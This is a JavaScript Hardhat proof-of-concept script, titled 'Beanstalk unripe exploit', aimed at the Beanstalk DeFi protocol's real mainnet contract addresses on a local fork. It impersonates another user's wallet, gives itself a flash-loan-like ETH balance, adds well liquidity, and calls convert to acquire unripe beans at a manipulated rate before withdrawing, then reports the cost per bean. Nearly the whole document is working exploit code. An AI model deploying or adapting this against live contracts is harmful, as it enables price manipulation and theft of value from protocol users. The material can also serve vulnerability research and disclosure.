// Beanstalk unripe exploit (c) etemenankii 2023
// @etemenanki_i
// Some codes from open source Beanstalk repos
const { ConvertEncoder } = require("./encoder.js"); //copy this file from bean repo protocol/test/utils/encoder.js
const { ethers } = require("hardhat");
const hardhat = require("hardhat");
const { BigNumber } = require("ethers");
const weth_contract_address = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
const bean_eth_well_address = "0xBEA0e11282e2bB5893bEcE110cF199501e872bAd";
const beanstalk_diamond_address = "0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5";
const provider = new ethers.providers.JsonRpcProvider("http://127.0.0.1:8545/");
async function setBalance(address) {
//ethers.utils.parseEther("10000005").toHexString() = 0x845955b7792ca8ef40000
await hardhat.network.provider.send("hardhat_setBalance", [address, "0x845955b7792ca8ef40000"]);
}
// From well_abi just need AddLiquidity event, RemoveLiquidityOneToken event and
// addLiquidity, removeLiquidityOneToken functions
const well_abi = [
{"anonymous": false,"inputs": [{"indexed": false,"internalType": "uint256[]","name": "tokenAmountsIn","type": "uint256[]"},{"indexed": false,"internalType": "uint256","name": "lpAmountOut","type": "uint256"},{"indexed": false,"internalType": "address","name": "recipient","type": "address"}],"name": "AddLiquidity","type": "event"},
{"anonymous": false,"inputs": [{"indexed": false,"internalType": "uint256","name": "lpAmountIn","type": "uint256"},{"indexed": false,"internalType": "contract IERC20","name": "tokenOut","type": "address"},{"indexed": false,"internalType": "uint256","name": "tokenAmountOut","type": "uint256"},{"indexed": false,"internalType": "address","name": "recipient","type": "address"}],"name": "RemoveLiquidityOneToken","type": "event"},
{"inputs": [{"internalType": "uint256[]","name": "tokenAmountsIn","type": "uint256[]"},{"internalType": "uint256","name": "minLpAmountOut","type": "uint256"},{"internalType": "address","name": "recipient","type": "address"},{"internalType": "uint256","name": "deadline","type": "uint256"}],"name": "addLiquidity","outputs": [{"internalType": "uint256","name": "lpAmountOut","type": "uint256"}],"stateMutability": "nonpayable","type": "function"},
{"inputs": [{"internalType": "uint256","name": "lpAmountIn","type": "uint256"},{"internalType": "contract IERC20","name": "tokenOut","type": "address"},{"internalType": "uint256","name": "minTokenAmountOut","type": "uint256"},{"internalType": "address","name": "recipient","type": "address"},{"internalType": "uint256","name": "deadline","type": "uint256"}],"name": "removeLiquidityOneToken","outputs": [{"internalType": "uint256","name": "tokenAmountOut","type": "uint256"}],"stateMutability": "nonpayable","type": "function"}
];
const weth_abi = [
{
constant: false,
inputs: [ { name: "guy", type: "address" }, { name: "wad", type: "uint256" }, ], name: "approve", outputs: [{ name: "", type: "bool" }], payable: false, stateMutability: "nonpayable", type: "function",
},
{
constant: false, inputs: [], name: "deposit", outputs: [], payable: true, stateMutability: "payable", type: "function",
},
{
constant: true, inputs: [{ name: "", type: "address" }], name: "balanceOf", outputs: [{ name: "", type: "uint256" }], payable: false, stateMutability: "view", type: "function",
},
];
const beanstalk_abi = [
{ "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "account", "type": "address" }, { "indexed": true, "internalType": "address", "name": "token", "type": "address" }, { "indexed": false, "internalType": "int96[]", "name": "stems", "type": "int96[]" }, { "indexed": false, "internalType": "uint256[]", "name": "amounts", "type": "uint256[]" }, { "indexed": false, "internalType": "uint256", "name": "amount", "type": "uint256" }, { "indexed": false, "internalType": "uint256[]", "name": "bdvs", "type": "uint256[]" } ], "name": "RemoveDeposits", "type": "event" },
{ "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "account", "type": "address" }, { "indexed": true, "internalType": "address", "name": "token", "type": "address" }, { "indexed": false, "internalType": "int96", "name": "stem", "type": "int96" }, { "indexed": false, "internalType": "uint256", "name": "amount", "type": "uint256" }, { "indexed": false, "internalType": "uint256", "name": "bdv", "type": "uint256" } ], "name": "AddDeposit", "type": "event" },
{ "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "account", "type": "address" }, { "indexed": false, "internalType": "int256", "name": "delta", "type": "int256" }, { "indexed": false, "internalType": "int256", "name": "deltaRoots", "type": "int256" } ], "name": "StalkBalanceChanged", "type": "event" },
{ "inputs": [ { "internalType": "bytes", "name": "convertData", "type": "bytes" }, { "internalType": "int96[]", "name": "stems", "type": "int96[]" }, { "internalType": "uint256[]", "name": "amounts", "type": "uint256[]" } ], "name": "convert", "outputs": [ { "internalType": "int96", "name": "toStem", "type": "int96" }, { "internalType": "uint256", "name": "fromAmount", "type": "uint256" }, { "internalType": "uint256", "name": "toAmount", "type": "uint256" }, { "internalType": "uint256", "name": "fromBdv", "type": "uint256" }, { "internalType": "uint256", "name": "toBdv", "type": "uint256" } ], "stateMutability": "payable", "type": "function"
},
];
const main = async () => {
async function buyUnripe() {
console.log('==================== buy unripe ====================');
// Note this is not my wallet, just address found with unripe
const walletAddress = "0xeafc0e4acf147e53398a4c9ae5f15950332cce06";
const wallet = await ethers.getImpersonatedSigner(walletAddress);
const weth_contract = new ethers.Contract(weth_contract_address, weth_abi, provider);
const weth_with_wallet = weth_contract.connect(wallet);
this.diamond = beanstalk_diamond_address;
const well = new ethers.Contract(bean_eth_well_address, well_abi, provider);
const beanstalk = new ethers.Contract(beanstalk_diamond_address, beanstalk_abi, provider);
// Create some eth for us to use, this is like flashloan
setBalance(walletAddress);
// This variable can be changed to get a different rate of unripe per eth
var our_eth_balance = ethers.utils.parseEther("500000");
console.log("ETH balance for our account: ", our_eth_balance);
await weth_with_wallet.approve(bean_eth_well_address, our_eth_balance);
await weth_with_wallet.approve(weth_contract_address, our_eth_balance);
await weth_with_wallet.deposit({
value: our_eth_balance,
});
// Get our weth balance
var our_weth_balance = await weth_with_wallet.balanceOf(walletAddress);
console.log("WETH balance: ", our_weth_balance);
console.log("Well: addLiquidity");
const addResult = await well.connect(wallet).addLiquidity([0, our_eth_balance], "0", wallet.address, ethers.constants.MaxUint256, { gasLimit: 29000000 });
const addReceipt = await addResult.wait();
const wellInterface = new ethers.utils.Interface(well_abi);
var addedDelta = BigNumber.from(0);
var lpReceived = BigNumber.from(0);
addReceipt.logs.forEach((log) => {
try {
const parsedLog = wellInterface.parseLog(log);
if (parsedLog.name == "AddLiquidity") {
lpReceived = parsedLog.args.lpAmountOut;
}
} catch (error) {
// console.error(error);
}
});
console.log("LP tokan from trade: ", lpReceived);
// Convert unripe lp to unripe bean
// This numbers specific for this user
const convertTransaction = await beanstalk.connect(wallet).convert(ConvertEncoder.convertUnripeBeansToLP(174105211937, 0), ["-19986"], [174105211937]);
const convertReceipt = await convertTransaction.wait();
const iface = new ethers.utils.Interface(beanstalk_abi);
var addedDelta = BigNumber.from(0);
var stalkDelta = BigNumber.from(0);
convertReceipt.logs.forEach((log) => {
try {
const event = iface.parseLog(log);
if (event.name == "RemoveDeposits") {
console.log("RemoveDeposits amount: ", ethers.utils.formatUnits(event.args.amounts[0], 6));
addedDelta = addedDelta.sub(event.args.amounts[0]);
console.log("Amount: ", addedDelta);
}
if (event.name == "AddDeposit") {
console.log("AddDeposit amount: ", ethers.utils.formatUnits(event.args.amount.toString(), 6));
addedDelta = addedDelta.add(event.args.amount);
console.log("Amount: ", addedDelta);
}
if (event.name == "StalkBalanceChanged") {
stalkDelta = stalkDelta.add(event.args.delta);
console.log("StalkBalanceChanged stalk delta: ", ethers.utils.formatUnits(event.args.delta.toString(), 10));
}
} catch (error) {
// console.error(error);
}
});
// Now remove the liquidity we added at beginning
const removeLiq = await well.connect(wallet).removeLiquidityOneToken(lpReceived, weth_contract_address, 0, wallet.address, ethers.constants.MaxUint256);
const removeLiqReceipt = await removeLiq.wait();
var weth_out = BigNumber.from(0);
removeLiqReceipt.logs.forEach((log) => {
try {
const parsedLog = wellInterface.parseLog(log);
if (parsedLog.name == "RemoveLiquidityOneToken") {
weth_out = parsedLog.args.tokenAmountOut;
}
} catch (error) {
// console.error(error);
}
return;
});
console.log("weth_out: ", weth_out);
// Calculate ETH cost
var weth_delta = our_eth_balance.sub(weth_out);
console.log("RESULT: Cost of ", ethers.utils.formatUnits(weth_delta, 18), " ETH to recieve ", ethers.utils.formatUnits(addedDelta, 6), " unripe beans");
var unripeBeanPerEth = parseFloat(ethers.utils.formatUnits(addedDelta, 6)) / parseFloat(ethers.utils.formatUnits(weth_delta, 18));
console.log("Unripe beans cost per eth: ", unripeBeanPerEth);
}
await buyUnripe();
console.log("==================== FINISH ====================");
};
main();